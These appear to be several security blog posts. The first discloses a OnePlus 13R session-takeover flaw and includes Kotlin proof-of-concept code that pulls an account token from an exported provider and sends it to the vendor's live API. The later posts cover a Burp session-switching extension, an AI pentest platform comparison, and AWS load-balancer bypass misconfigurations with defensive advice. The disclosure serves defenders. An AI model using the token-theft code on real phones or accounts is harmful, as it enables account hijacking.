Preinstalled but Not Safe. OnePlus OEM App Session Takeover Vulnerability

Incipit

Bug bounty initiatives can be a useful tool for companies to source security research focused on their products and get ahead of attackers. From a security researcher’s perspective, it’s a great way to gain experience and contribute to the overall security of the Internet and the products we use every day. However, for the system to work, both parties need to adhere to certain unspoken rules. Researchers should coordinate the disclosure, while vendors need to ensure reasonably and timely responses to reports, bug fixes and transparent disclosure. The problem arises when part of this process breaks down: what should a researcher do with knowledge of an unfixed vulnerability when the vendor repeatedly fails to provide a remediation timeline? We believe that, after a reasonable disclosure period, such vulnerabilities should be made public; otherwise, there is a risk that they remain unfixed indefinitely.

The Vulnerability

This vulnerability resulted from a focused vulnerability research activity targeting some of the OEM applications shipped with the OnePlus 13R Android mobile phone. The goal of this work was to assess the security posture of vendor-specific components that often operate with elevated privileges and are therefore high-value targets for attackers.

Our analysis was performed on the latest publicly available firmware at the time of testing. This post outlines our methodology, highlights the most interesting security issue we identified, and discusses its impact on the OnePlus security model.

OnePlus 13R

Methodology

We began by extracting the APKs shipped with the device and enumerating their exported activities, services and content providers from the applications’ manifests. We then triaged these components based on their accessibility to untrusted applications, the permissions protecting them and the sensitivity of the functionality they exposed.

For the most promising candidates, we decompiled the applications and manually traced the relevant execution paths. Because the code was obfuscated, we combined manual analysis with AI-assisted deobfuscation and data-flow analysis to reconstruct how attacker-controlled inputs were processed and which sensitive values could reach exported interfaces. Finally, we validated the identified behavior dynamically on a physical device and built a dedicated Android application to demonstrate exploitability. Where necessary, we also leveraged Frida to instrument the application’s OkHttp interceptor chain and observe how requests were signed and encrypted before being sent to the OnePlus API. More on using Frida to analyze HTTP traffic can be found in one of our previous blog posts.

Account Takeover

Preinstalled OEM applications are a huge attack surface of any Android ecosystem, including OnePlus. The OnePlus 13R firmware contained 176 preinstalled APKs with a total of 1,824 exported activities. Reviewing every exported component manually would have been impractical, so we prioritized components belonging to applications with sensitive or highly privileged permissions, such as INSTALL_PACKAGES, WRITE_SECURE_SETTINGS, WRITE_SETTINGS and DUMP. We also searched for interesting OnePlus-specific permissions, including com.oneplus.account.READ_ACCOUNT_INFO. This reduced the initial attack surface to approximately 350 exported components for further analysis.

The remainder of this blog post details a vulnerability in the com.oneplus.account OEM application. In its manifest, we identified an exported provider protected by the following permission: com.oneplus.account.READ_ACCOUNT_INFO

<provider
    android:authorities="com.oneplus.account.provider.open"
    android:exported="true" android:name="com.heytap.usercenter.op.sdk.OPAccountProvider"
    android:readPermission="com.oneplus.account.READ_ACCOUNT_INFO"
/>

However, com.oneplus.account.READ_ACCOUNT_INFO was not defined with a signature-level protection. As a result, the provider can be accessed by any application that declares the permission com.oneplus.account.READ_ACCOUNT_INFO in its own manifest.

After decompiling and some deobfuscation effort, we discovered that this provider takes a string command from the caller. Depending on the command given, various account details are served to an untrusted calling application. Most notably, the get_account_oneplus_token command reveals the oldSecondaryToken:

if ("get_account_oneplus_token".equals(command)) {
    if (OPVersionUtil.isVersionInTheInterval(getContext(), callingPackage)) {
        AccountLogUtil.log_info("OPAccountProvider", "get_account_oneplus_token isVersionIn ");
        bundle2.putString("token", a(callingPackage));
    } else {
        bundle2.putString("token", oldSecondaryToken);
    }
    return bundle2;
}

Despite its name, the token represents an authenticated OnePlus Cloud session and can therefore be used by an attacker to impersonate the victim when interacting with the OnePlus Cloud API. We prepared a Proof of Concept (PoC), which uses this token to call a /uc/v1/user-info/update-real-name endpoint, demonstrating the ability to update the victim’s data.

Proof of Concept

This vulnerability can be exploited by a malicious application installed on the victim’s phone. As a PoC, we prepared such an application by declaring the required permissions:

<uses-permission android:name="com.oneplus.account.READ_ACCOUNT_INFO" />
<uses-permission android:name="android.permission.INTERNET" />

The application then calls the vulnerable provider and extracts the sensitive token from its response. Because the permission is not signature-restricted, the malicious application can simply declare it in its own manifest and access the provider without user interaction:

val cr: ContentResolver = context.contentResolver
val AUTHORITY_URI: Uri = Uri.parse("content://com.oneplus.account.provider.open");
val out = cr.call(AUTHORITY_URI, "get_account_oneplus_token", arg, extras)
if (out == null) {
    Log.d(TAG, method + " failed")
} else {
    val token = out.getString("token")
    if (token != null) {
        Log.d(TAG, token!!)
    } else {
        Log.d(TAG, "failed")
    }

Then, the stolen token can be used to access user data in the API:

val request = Request.Builder()
    .url("https://uc-client-fr.oneplus.com/uc/v1/user-info/update-real-name")
    .post(body)
    .addHeader("X-Token", token!!)
    //skipped for brevity
    .build()

val response = client.newCall(request).execute()

Note that a successful request requires additional payload signing and encryption. We will not publish the implementation details.

The following recording demonstrates the exploit in practice:


Impact

We demonstrated that an arbitrary application can steal an authenticated user’s token and use it to access and modify data through the OnePlus Cloud API, effectively resulting in a session takeover. The attack requires no user interaction beyond installing the malicious application; no additional permission prompt or confirmation is required. The vendor decided to assign a high severity to this issue.

Fix

We recommended defining the com.oneplus.account.READ_ACCOUNT_INFO permission with android:protectionLevel="signature". This restricts access to applications signed with the same signing certificate as the OnePlus application, preventing arbitrary third-party applications from accessing OPAccountProvider.

Current State

In September 2026, Doyensec retested the vulnerability on the latest OnePlus 13R firmware available at the time, CPH2691_16.0.10.500(EX01). We confirmed that an untrusted application can still access the vulnerable provider and extract the OnePlus account token. We also verified that the leaked token is accepted by the uc-client-fr.oneplus.com API.

Due to changes in OnePlus’ regional mechanisms, however, we were unable to reproduce the final account-data modification shown in the original proof of concept using our US or EMEA account. Therefore, while we confirmed that the underlying vulnerability and token exposure remain present in the latest tested firmware, we did not reproduce the complete end-to-end exploit on that version.

Timeline

  • 2025-12-30 - Finding disclosed to the vendor as a critical vulnerability 🥳
  • 2026-01-06 - Finding validity confirmed by the vendor and downgraded to high severity 🤔
  • 2026-03-12 - $720 bug bounty paid 🤔💸🤔
  • 2026-09-09 - The vulnerability was still confirmed on a newest version - CPH2691_16.0.10.500(EX01) 🫤
  • 2026-09-10 - Public disclosure 🤷‍♂️

Introducing Session Switcher. Swap Burp Sessions with One Click!

Session Switcher

Authorization testing is one of the most repetitive, yet critical tasks in web app security testing. Checking for horizontal and vertical privilege escalation, IDORs, and other access control issues requires constantly swapping cookies and headers between different user sessions, a process that is error-prone and often becomes tedious.

Today, we’re excited to release Session Switcher, a Burp Suite extension that lets you save and switch HTTP sessions with just a couple of clicks, right from the request editor.

The Problem

During a typical authorization test, you might very often find yourself needing to to:

  • Copy cookies from one browser session and paste them into Repeater requests
  • Keep track of multiple user roles and their authentication tokens
  • Manually update expired JWTs or session cookies

Doing this manually a couple of times is fine, but having to repeat it multiple times across different endpoints is slow, breaks your focus, and makes it easy to mix up sessions or forget to update expired tokens, potentially leading to false positives and negatives. I don’t know about everyone else, but the number of times I’ve had to go back and replace the cookies again because I wasn’t sure whether I had copied the correct ones is more than I care to admit.

The Solution

Session Switcher adds a Sessions tab directly into Burp’s request editor where you can store named sessions (basically a set of cookies and headers) and swap between them with a single click. Instead of copying and pasting authentication data across requests, you save each user’s session once and then switch to it from a dropdown whenever you need to test a different user/role/tenant. The extension also monitors Proxy traffic and can automatically keep sessions up to date, mirroring the browser, so your stored sessions stay valid throughout the entire engagement.

How Session Switcher Works

Saving Sessions

To save a session, select any request containing the cookies and headers you want to store and click the New button in the Sessions tab of the request editor. The extension automatically extracts all cookies and uncommon headers from that request.

Saving a Session

Switching Sessions

Once you have saved sessions, a session selector appears in the Sessions tab of the request editor. Choose a session from the dropdown and the extension instantly replaces the request’s cookies and headers with the saved ones.

Request Editor with Session Switcher

This works wherever there’s an editable request editor, such as in Repeater and with intercepted Burp Proxy requests. Buttons under the selector let you Edit, Delete, or Update the selected session from the current request, or create a New one.

By default, the session list is filtered to only show sessions matching the current request’s domain, keeping things clean when you have many sessions stored.

Sessions Management Tab

The main Sessions tab lists all sessions stored in your project file, giving you a centralized view to inspect and manage all saved sessions.

Sessions Management Tab

Auto Update Rules

One of the most powerful features is the ability to automatically keep sessions up to date with the current state of the browser. You can define rules that monitor browser traffic going through Burp Proxy and update sessions whenever new cookies or headers are detected.

Auto Update Rules

For example, you could create a rule that tracks all requests containing the X-User: alice header and automatically updates the alice session whenever the cookies change. This means you no longer have to manually update sessions when a JWT expires or you re-authenticate in the browser.

This is the simplest example, but much more complex conditions are available, such as tracking JWTs by payload. Check out the documentation for details.

Settings

If the default behavior doesn’t quite fit your workflow, the settings panel lets you tweak things like how cookies and headers are captured from requests and how they get applied when you switch sessions. Some of the options may be confusing, so make sure to check out the documentation for all the available options and what they do.

Installation

Download the latest .jar from the releases page and load it in Burp as a Java extension.

This extension will also be available on the PortSwigger BApp Store as soon as our submission is approved. Due to the current review backlog, our request has not yet been processed, even though it was submitted on April 29th, 2026.

Note: Session Switcher requires Burp Suite v2025.5 or later.

For the Future

We have a few ideas on where to take Session Switcher next:

  • Auto Inject rules – the counterpart to Auto Update Rules. While Auto Update monitors Burp Proxy traffic to capture sessions, Auto Inject would automatically apply a session to requests passing through Burp Proxy, letting you transparently switch the identity of your browsing session without touching individual requests.
  • Smarter session tracking – right now, keeping sessions up to date requires manually defining Auto Update rules. We’d like to explore ways to detect and track sessions automatically, for example by parsing login responses or monitoring for token changes, without requiring the user to configure rules upfront.
  • Macro-based session refresh – instead of relying on a browser to reauthenticate when a session expires, the extension could send a pre-configured request (like a login or token refresh endpoint) and parse the response to update the session automatically. This would make it possible to keep sessions alive indefinitely without any manual intervention.

These are still on the drawing board, so if any of these sound particularly useful (or if you have other ideas), let us know!

Contributing

We’d love to hear how you use Session Switcher and what could make it better for your workflow. Whether it’s a bug report, a feature idea, or just general feedback, don’t hesitate to open an issue on GitHub or reach out on social media (@Doyensec). Pull requests are also very welcome!


Comparing AI Application Security Testing Platforms

Doyensec performed a side-by-side comparison of two leading AI-powered penetration testing platforms: Aikido’s Attack AI Pentest and XBOW’s Lightspeed in order to evaluate their abilities to properly identify vulnerabilities in modern web applications. This included manually validating all findings and classifying them as either true positives or false positives. Additionally, we looked at their overall testing process, including the configuration, impact on tested applications, quality and content of the reports, cost, and speed.

Aikido vs. XBOW

As a leading boutique application security consultancy, we were also curious about how the adoption of AI will impact the future of testing. To understand the current maturity levels of these AI platforms, it was necessary for us to put some vendors’ claims to the test.

If you’re interested in the current state of AI-powered pentesting, we encourage you to give it a read:


Navigating Lax Load Balancers: When an Intersection Gets You Inside

After our last episode on Multi-SSO Cognito User Pools, we are back with another issue. This time, we are looking at one of those AWS components that is everywhere and rarely questioned deeply enough: the Elastic Load Balancer.

CloudsecTidbit

Tidbit No. 5 - Navigating Lax Load Balancers

What is AWS ELB?

AWS Elastic Load Balancing (ELB) distributes traffic to backend services and serves as the entry point between the Internet and your applications.

It supports Layer 7 routing (Application Load Balancer - ALB) and Layer 4 routing (Network Load Balancer - NLB). It decides where traffic goes and under which conditions. ELB is commonly found fronting multiple applications, environments, and trust zones across the same infrastructure.

Why It Matters

ELB is often the first public entry point before application backends, and in many AWS environments, it also becomes part of the access-control boundary. For ALBs, listener rules do more than route traffic: they can enforce authentication with authenticate-oidc or authenticate-cognito, restrict access with source-ip conditions, and decide which target group receives a request based on host, path, headers, or other request attributes.

The simplified flow below shows how a single request can be routed through different rules depending on priority and matching conditions:

Rule Chain

That makes the listener rule chain security-sensitive. A backend may appear protected when looking at a single rule, but still be reachable through another rule, another listener, another ALB, or a direct network path that bypasses the expected entry point.

Misconfigurations there could:

  • Expose backend services that were expected to be reachable only through specific hostnames, paths, or upstream controls
  • Allow an authentication bypass when an unauthenticated rule forwards to the same targets as an authenticated route
  • Bypass IP-based gates when the same target group or backend instances are reachable through another routing path without the same source-ip restriction
  • Bypass CloudFront-level checks when an Internet-facing origin ALB remains directly reachable

Configuration vs. Real Exposure

Standard load balancer reviews usually focus on resource level hygiene: TLS policies, access logging, deletion protection, security groups, and whether a WAF is attached. These checks are useful, but they mostly describe how the load balancer is configured, without an offensive mindset.

They do not answer the important question: what can an external request actually reach?

Configuration vs Real Exposure

What usually gets missed during load balancer audits:

  • Routing logic issues that let traffic skip restrictive rules
  • Backend targets that are directly reachable regardless of what the ALB listener enforces
  • Real attack paths that are invisible to static config review

The Bugs

The following are some of the routing and exposure misconfigurations we encounter most often during AWS load balancer reviews. They are not the only possible ELB issues, but they are representative of a broader class of bugs where the configured routing graph does not match the intended security boundary.

1. CloudFront / WAF Bypass via Direct ALB Access

CloudFront is often placed in front of an ALB to enforce WAF rules, geo-restrictions, caching policies, or rate limiting. In this setup, the ALB is expected to behave like a private origin: users should reach it only through CloudFront, not directly.

The problem appears when the origin ALB is still Internet-facing and its security group allows public inbound traffic. In that case, an attacker could send requests directly to the ALB DNS name, bypassing every control enforced at the CloudFront layer, including WAF rules attached to the distribution.

2. Rule Shadowing

ALB listener rules are evaluated in ascending-priority order. A rule with priority 10 is evaluated before one with priority 20. If a broad rule (e.g., path /*) sits at priority 10 and a more restrictive rule (e.g., path /admin* with authenticate-oidc) sits at priority 20, all traffic to /admin matches the broad rule first. The auth action never fires.

(priority)      (condition)             (action)

[10]            path /*               → forward  → tg-app          (no auth)
[20]            path /admin*          → authenticate-oidc → tg-app  (← never reached for /admin)

This is purely an ordering bug with a direct authentication bypass impact.

3. IP Gate Bypass via Alternate ALB

A common pattern is to restrict access to an Internal backend by placing a source-ip condition on the rule:

(priority)      (condition)             (action)

[10]            source-ip 1.2.3.4/32  → forward → tg-internal-api
[default]                             → 403

That works only if the protected backend is not reachable through any other path. The issue appears when the same target group, or the same backend instances, are also registered behind another load balancer with weaker conditions.

When that alternate route exists, the source-ip gate is real, but it only protects one path to the backend. The backend remains exposed through the weaker route, where the same IP restriction is not enforced.

That demonstrates why listener rules cannot be reviewed in isolation. The key question is not only “Does this rule restrict access?” but “Is every path to these targets protected by a similar control?”

Infrastructure is not just configuration. It defines how traffic actually flows, and misconfigurations create unintended paths

Typical CSPM and audit checklists report on attributes - TLS version, logging flag, and WAF presence - but none of that tells you whether an /supposedly/protected/endpoint path is actually protected end-to-end, whether a CloudFront-fronted ALB is directly reachable, or whether the same backend instance appears in both a gated and an ungated rule.

That requires understanding the routing graph, not just the resource properties.

For Cloud Security Auditors

When reviewing an AWS account with ALBs, answer the following questions:

  1. For each internet-facing ALB: are there any Target Group members that are also registered in a different ALB or listener with weaker (or no) conditions?
  2. Is routing.http.xff_header_processing.mode set to preserve? If yes, does any downstream service trust X-Forwarded-For for access decisions?
  3. Walk listener rules in priority order. For each restrictive rule (auth action, source-ip), is there a broader rule at a lower priority number that matches the same traffic first?
  4. If a CloudFront distribution fronts an ALB, can you send HTTP or HTTPS directly to the ALB DNS and get a non-error response?
  5. For source-ip gated rules: enumerate all paths to the gated targets - same ALB on a different port, a different ALB in the same VPC, an NLB in front of the same instances.

For Developers

When ELBs are used widely across the infrastructure for routing, authentication, or IP-based restrictions, treat the ALB listener rule chain as part of your access-control model, not just networking configuration. Priority ordering matters as much as the conditions themselves. Review it the same way you would review middleware ordering in an application framework.

Do not treat a single IP gate as complete protection for a sensitive backend. A source-ip condition only protects the route where it is enforced. If the same targets are reachable through another ALB, listener, or port without equivalent restrictions, the backend may still be exposed. Combine source-ip conditions with authentication when possible, and verify that no alternate route reaches the same targets.

Lock down security groups on ALB origins. If a CloudFront distribution fronts an ALB, the ALB’s security group inbound rules should allow only CloudFront-managed prefix lists (com.amazonaws.global.cloudfront.origin-facing), not 0.0.0.0/0.

Set routing.http.xff_header_processing.mode to append or remove on Internet-facing ALBs. If the final backend uses client IP information for access-control decisions, rate limiting, audit logging, or security monitoring, do not allow clients to control the X-Forwarded-For header value.

Tool Release: ELBaph

Some of the issues above are hard to spot by looking at a single listener or load balancer in isolation. Finding them requires correlating listeners, rules, target groups, backend instances, and reachability across the whole ELB surface. Doing this manually is time-consuming and annoying, especially in large AWS accounts with a lot of load balancers.

This is why we built doyensec/ELBaph to automate exactly this.

ELBaph logo

It is a read-only CLI tool written in Go that maps ALBs, NLBs, listeners, rules, and targets into a single routing model. It then looks for exposed paths, runs targeted HTTP/HTTPS reachability probes, and generates a structured report with the root cause, exploit path, and remediation for each finding.

It works with SecurityAudit-style read-only permissions and outputs findings live to the terminal as each check completes, alongside a JSON, Markdown, or SARIF report and an interactive topology.html that maps the full routing graph from VPC to backend targets.

# Scan a region - findings printed live, output folder created automatically
elbaph scan --region us-east-1

# Scan multiple regions using an AWS profile
elbaph scan --all-regions -p my-pentest-profile

ELBaph gave us the extra leverage needed to scale manual ELB reviews. Let us know your feedback!

Hands-On IaC Lab

We also developed a Terraform (IaC) laboratory to deploy a vulnerable dummy application and play with the vulnerability: https://github.com/doyensec/cloudsec-tidbits/tree/main/lab-elbaph

The lab deploys two Internet-facing ALBs, a CloudFront distribution in front of the public one, and two EC2 instances running a small Go web application, showcasing a few of the misconfigurations described above.

Resources